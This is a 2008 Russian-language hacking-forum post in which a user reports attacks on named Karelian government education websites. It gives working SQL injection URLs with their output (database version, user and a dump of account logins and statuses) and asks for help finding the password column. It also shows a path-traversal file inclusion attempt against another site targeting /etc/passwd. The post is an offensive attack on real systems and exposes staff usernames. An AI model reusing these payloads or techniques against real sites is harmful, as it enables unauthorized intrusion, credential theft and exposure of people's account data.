Показать сообщение отдельно

  #6  
Старый 05.09.2008, 04:24
-=Static=-
Участник форума
Регистрация: 12.11.2006
Сообщений: 213
С нами: 10260776

Репутация: 185
По умолчанию

Цитата:
Министерство образования РК(Республика Карелия) =D
Код:
http://minedu.karelia.ru/index.php?id=999+union+select+1,2,concat_Ws(0x3a,version(),user(),database()),4,5/*
4.0.11a-gamma:kfro@localhost:minedu
нашел 2 таблицы:
- news
- users

http://minedu.karelia.ru/devel/index.php?id=999+union+select+1,2,concat_ ws(0x3a,id,login,status),4, 5+from+users/*

Код:
1:root:rt 
2:julia:wk 
3:dmalinov:rt 
4:Marina:rt 
5:lataki:wk 
6:kossuk:wk 
7:morozov:wk 
8:natalya:wk 
9:gold:wk
Не могу никак прознать как поле с паролем называется

логиниться тут: http://minedu.karelia.ru/login.php

====================================
Карельский Фонд Развития Образования:

http://kfro.karelia.ru/index.php?id=13+union+select+1, id,login+from+users/*

Таблица по строению такая же как и в министерстве. И лежит все удовольствие на одном серваке, тока в разных базах. Вопрос: Как называется поле с паролем?

====================================

КПМО в Республике Карелия:

есть возможность провести include. Тока у меня толком них не получается. Голова уже кипит...

http://kpmo.karelia.ru/file/page.php?page_id=../../../../../etc/passwd%00

Че не так то?

Это же инклудится; http://kpmo.karelia.ru/file/page.php?page_id=/home/kpmo/www/file/news_62

Последний раз редактировалось -=Static=-; 05.09.2008 в 05:12..
 
Ответить с цитированием